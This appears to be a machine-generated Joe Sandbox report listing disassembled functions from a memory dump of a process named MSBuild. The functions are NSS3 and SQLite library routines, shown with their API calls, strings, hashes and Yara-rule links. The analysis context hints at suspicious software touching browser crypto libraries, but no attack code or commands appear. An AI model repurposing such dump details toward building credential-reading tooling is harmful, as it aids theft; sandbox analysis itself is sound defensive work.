Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Arena$Util$Alloc_$CriticalFreeGrow_PoolSectionfree$Arena_CallClearCopyDeleteEnterErrorOnceUnlockValue
String ID:
API String ID: 3791662518-0
Opcode ID: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction ID: 604dc7786c2bbe8c2a915d4ab1e9bb9619429cefd13f670a5f1d9d393839c2da
Opcode Fuzzy Hash: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction Fuzzy Hash: 3751D571601210AFEB208F15CC40F6A77A8FF42728F15815AEE15ABB91F731E845CBA1

Function 6CC0E890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CC0E922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC0E9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CC0EA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC0EB20
memcpy.VCRUNTIME140(?,?,?), ref: 6CC0EB57

Strings

number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6CC0EDC2
foreign key on %s should reference only one column of table %T, xrefs: 6CC0EE04
unknown column "%s" in foreign key definition, xrefs: 6CC0ED18

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: 7de2226e819e83bbdd0dbe6141ea09417ba88835688edf81e2c00fd7fcd82da8
Instruction ID: bd6d2ab48bd5b664e0895ff87ddd3a6cfc5bb914a33622fbb43a8ae01ca79307
Opcode Fuzzy Hash: 7de2226e819e83bbdd0dbe6141ea09417ba88835688edf81e2c00fd7fcd82da8
Instruction Fuzzy Hash: EA028F71F456198FDB04CF59C480AEEBBB2FF89304F1941ADD895AB751E732A841CBA0

Function 6CCD4DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CCD536F,00000022,?,?,00000000,?), ref: 6CCD4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CCD4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CCD4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CCD4FAE
free.MOZGLUE(?), ref: 6CCD4FC8

Strings

%s=%c%s%c, xrefs: 6CCD4FA9
%s=%s, xrefs: 6CCD4F89

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: f71c4ba9c2f0543cb44578fcb951ff0317bb85f4d0dc607e47c1a7574cc14766
Instruction ID: f98569e7b245cbe192e79ac6305cbf938d0a6eedf0c675a38dfa0615f6264909
Opcode Fuzzy Hash: f71c4ba9c2f0543cb44578fcb951ff0317bb85f4d0dc607e47c1a7574cc14766
Instruction Fuzzy Hash: B8513A61A041469BEB01CB6AC4907FFFBF5AF46308F1A4169EB94A7F50F325A805C791

Function 6CC669A0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 6CBFCA30: EnterCriticalSection.KERNEL32(?,?,?,6CC5F9C9,?,6CC5F4DA,6CC5F9C9,?,?,6CC2369A), ref: 6CBFCA7A
Part of subcall function 6CBFCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CBFCB26

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC66A02
EnterCriticalSection.KERNEL32(?), ref: 6CC66AA6
LeaveCriticalSection.KERNEL32(?), ref: 6CC66AF9
sqlite3_free.NSS3(00000000), ref: 6CC66B15
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000BCCC), ref: 6CC66BA6

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CC66B9F
winDelete, xrefs: 6CC66B71

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_freesqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winDelete
API String ID: 1816828315-1405699761
Opcode ID: 1b494e424443d93f48adbacca9e73ad12bbe55b12c746469d323a4291247499a
Instruction ID: 56d7226311d338e44fb54124d14d07b5d319e344ecb265d84535fd6dd02a42b7
Opcode Fuzzy Hash: 1b494e424443d93f48adbacca9e73ad12bbe55b12c746469d323a4291247499a
Instruction Fuzzy Hash: 81512531B405019BFB08AB76DD99ABE377DEF86314B044129E616D7E80EB345A05CBD2

Function 6CCAACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CCAACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CCAAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CCAAD23

Part of subcall function 6CD8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CCAAD39

Strings

C_MessageDecryptFinal, xrefs: 6CCAACE1
hSession = 0x%x, xrefs: 6CCAACFE, 6CCAAD0E
(CK_INVALID_HANDLE), xrefs: 6CCAAD1C

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: f1c7d40588033e1352c6041cec334dfb664acf1baddc75789d39490fe71566f7
Instruction ID: d3bd5beab5b49cce36c9633795c9d7668b54dc380c7ad813a6faad007bdec35c
Opcode Fuzzy Hash: f1c7d40588033e1352c6041cec334dfb664acf1baddc75789d39490fe71566f7
Instruction Fuzzy Hash: A5214F30E01115AFF700DB94DD8CB6A7378EBC274DF044069E50997A51EB30BC0ACB92

Function 6CC88CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CC9124D,00000001), ref: 6CC88D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CC9124D,00000001), ref: 6CC88D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CC9124D,00000001), ref: 6CC88D73
PR_Unlock.NSS3(?,?,?,?,?,6CC9124D,00000001), ref: 6CC88D8C

Part of subcall function 6CD1DD70: TlsGetValue.KERNEL32 ref: 6CD1DD8C
Part of subcall function 6CD1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CD1DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CC9124D,00000001), ref: 6CC88DBA

Strings

KRAM, xrefs: 6CC88D3E
KRAM, xrefs: 6CC88CF9

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 57293a3be181c1d865c6521a960c7a93885837ed9dec3a41433b23af9af38aeb
Instruction ID: 56a2fb1eac98f31c1b2738c65e488c11d26a03273acc4010b6a9f06ea2ae4608
Opcode Fuzzy Hash: 57293a3be181c1d865c6521a960c7a93885837ed9dec3a41433b23af9af38aeb
Instruction Fuzzy Hash: 012191B5A056028FDB00EF39C58495BBBF4FF45318F1589ABD98887B01E734E842CB91

Function 6CD80ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CD80EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CD80EFA

Part of subcall function 6CC6AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CC6AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD80F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD80F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD80F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD80F2B

Strings

Aborting, xrefs: 6CD80EB3
Assertion failure: %s, at %s:%d, xrefs: 6CD80ED9, 6CD80EE5, 6CD80F06, 6CD80F0B

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 5a85be3d8b92ba14fb7dca91f921142dbc48dd8f0bcf7f064c398d12361e7094
Instruction ID: 86ce0e5ea977a6d823c2f4703e32ad690c56db9f443602f4823aa3cbe0411afb
Opcode Fuzzy Hash: 5a85be3d8b92ba14fb7dca91f921142dbc48dd8f0bcf7f064c398d12361e7094
Instruction Fuzzy Hash: 5401D6BA901114BBEF016F54DC85CAB3F7DEF87364B004054FE0997B11D631EA5087A2

Function 6CD44D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CD44DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CD44DE0

Strings

misuse, xrefs: 6CD44DD5
%s at line %d of [%.10s], xrefs: 6CD44DDA
API call with %s database connection pointer, xrefs: 6CD44DBD
invalid, xrefs: 6CD44DB8
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CD44DCB

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 85756f3492feb8d76a8601dd4b374ad73f15f15b70d95fc6a59bd7f22002660c
Instruction ID: 2626fe381f1d12c8e37800d30aa15345e5b8bfc4dfe5a85910b4d24d787505a9
Opcode Fuzzy Hash: 85756f3492feb8d76a8601dd4b374ad73f15f15b70d95fc6a59bd7f22002660c
Instruction Fuzzy Hash: 51F0E911F15964BBE7004755CC11F8637554F01319F4649E0FF087BE72E319E99483D1

Function 6CD44DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CD44E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CD44E4D

Strings

misuse, xrefs: 6CD44E42
%s at line %d of [%.10s], xrefs: 6CD44E47
API call with %s database connection pointer, xrefs: 6CD44E2A
invalid, xrefs: 6CD44E25
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CD44E38

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: d4af401e4fc19253f04df6fef7dcbeecfdad568ccc579b64a0352900e193d751
Instruction ID: 5dcdf7fa7f46339f4c8b35325b1cc6db116e4d26452aa8393b79efcd55d72c0d
Opcode Fuzzy Hash: d4af401e4fc19253f04df6fef7dcbeecfdad568ccc579b64a0352900e193d751
Instruction Fuzzy Hash: DEF02711F44928ABF7100765DC10F8637854B01329F0DC5B1EF0877EB3E309D9A542E1

Function 6CCB0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CCB1444,?,00000001,?,00000000,00000000,?,?,6CCB1444,?,?,00000000,?,?), ref: 6CCB0CB3

Part of subcall function 6CD1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD1C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CCB1444,?,00000001,?,00000000,00000000,?,?,6CCB1444,?), ref: 6CCB0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CCB1444,?,00000001,?,00000000,00000000,?,?,6CCB1444,?), ref: 6CCB0DEC

Part of subcall function 6CCD0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CC72AF5,?,?,?,?,?,6CC70A1B,00000000), ref: 6CCD0F1A
Part of subcall function 6CCD0F10: malloc.MOZGLUE(00000001), ref: 6CCD0F30
Part of subcall function 6CCD0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CCD0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CCB1444,?,00000001,?,00000000,00000000,?), ref: 6CCB0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CCB1444,?,00000001,?,00000000), ref: 6CCB0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CCB1444,?,00000001,?,00000000,00000000,?), ref: 6CCB0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CCB1444,?,00000001,?,00000000,00000000,?,?,6CCB1444,?,?,00000000), ref: 6CCB0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CCB1444,?,00000001,?,00000000,00000000,?), ref: 6CCB0E79

Part of subcall function 6CCC1560: TlsGetValue.KERNEL32(00000000,?,6CC90844,?), ref: 6CCC157A
Part of subcall function 6CCC1560: EnterCriticalSection.KERNEL32(?,?,?,6CC90844,?), ref: 6CCC158F
Part of subcall function 6CCC1560: PR_Unlock.NSS3(?,?,?,?,6CC90844,?), ref: 6CCC15B2

Part of subcall function 6CC8B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CC91397,00000000,?,6CC8CF93,5B5F5EC0,00000000,?,6CC91397,?), ref: 6CC8B1CB
Part of subcall function 6CC8B1A0: free.MOZGLUE(5B5F5EC0,?,6CC8CF93,5B5F5EC0,00000000,?,6CC91397,?), ref: 6CC8B1D2

Part of subcall function 6CC889E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CC888AE,-00000008), ref: 6CC88A04
Part of subcall function 6CC889E0: EnterCriticalSection.KERNEL32(?), ref: 6CC88A15
Part of subcall function 6CC889E0: memset.VCRUNTIME140(6CC888AE,00000000,00000132), ref: 6CC88A27
Part of subcall function 6CC889E0: PR_Unlock.NSS3(?), ref: 6CC88A35

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 2237a6d7c87b920df212f12e1219db3affbeb83db22fb74d31ce497e5ebf567a
Instruction ID: eec34184d62c9d1e57ace1fb74b33b49514bc8d9a25cd57aaaa81d8d6556f548
Opcode Fuzzy Hash: 2237a6d7c87b920df212f12e1219db3affbeb83db22fb74d31ce497e5ebf567a
Instruction Fuzzy Hash: D651CAF6E012405FEB009F64DD81AAF37A8AF4525CF150064FD09A7B52F731ED1587A2

Function 6CCB88E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CCB88FC

Part of subcall function 6CCCBE30: SECOID_FindOID_Util.NSS3(6CC8311B,00000000,?,6CC8311B,?), ref: 6CCCBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CCB8913

Part of subcall function 6CCD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC787ED,00000800,6CC6EF74,00000000), ref: 6CCD1000
Part of subcall function 6CCD0FF0: PR_NewLock.NSS3(?,00000800,6CC6EF74,00000000), ref: 6CCD1016
Part of subcall function 6CCD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CC787ED,00000008,?,00000800,6CC6EF74,00000000), ref: 6CCD102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6CD9D864,?), ref: 6CCB8947

Part of subcall function 6CCCE200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6CCCE245
Part of subcall function 6CCCE200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CCCE254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CCB895B
DER_GetInteger_Util.NSS3(?), ref: 6CCB8973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CCB8982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CCB89EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CCB8A12

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: 197db98d49f3818a8f741fa0b3610be8132232c2262c468f49a58a4caa43cd6e
Instruction ID: 1954573f73927f29ee799383d45cf3b28d78da184ba5904fbbb24a9ae7a3a20a
Opcode Fuzzy Hash: 197db98d49f3818a8f741fa0b3610be8132232c2262c468f49a58a4caa43cd6e
Instruction Fuzzy Hash: AD3159B1E0460153FF1042AABC41FAA36999F9136CF24073BD919F7B91FB36C44A8293

Function 6CD80860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6CD87AE2,?,?,?,?,?,?,6CD8798A), ref: 6CD8086C

Part of subcall function 6CD80930: EnterCriticalSection.KERNEL32(?,00000000,?,6CD80C83), ref: 6CD8094F
Part of subcall function 6CD80930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6CD80C83), ref: 6CD80974
Part of subcall function 6CD80930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD80983
Part of subcall function 6CD80930: _PR_MD_UNLOCK.NSS3(?,?,6CD80C83), ref: 6CD8099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6CD87AE2,?,?,?,?,?,?,6CD8798A), ref: 6CD8087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6CD87AE2,?,?,?,?,?,?,6CD8798A), ref: 6CD80892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6CD8798A), ref: 6CD808AA
free.MOZGLUE(?,00000000,00000000,?,?,6CD87AE2,?,?,?,?,?,?,6CD8798A), ref: 6CD808C7
free.MOZGLUE(?,00000000,00000000,?,?,6CD87AE2,?,?,?,?,?,?,6CD8798A), ref: 6CD808E9
free.MOZGLUE(?,6CD87AE2,?,?,?,?,?,?,6CD8798A), ref: 6CD808EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6CD87AE2,?,?,?,?,?,?,6CD8798A), ref: 6CD8090E

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
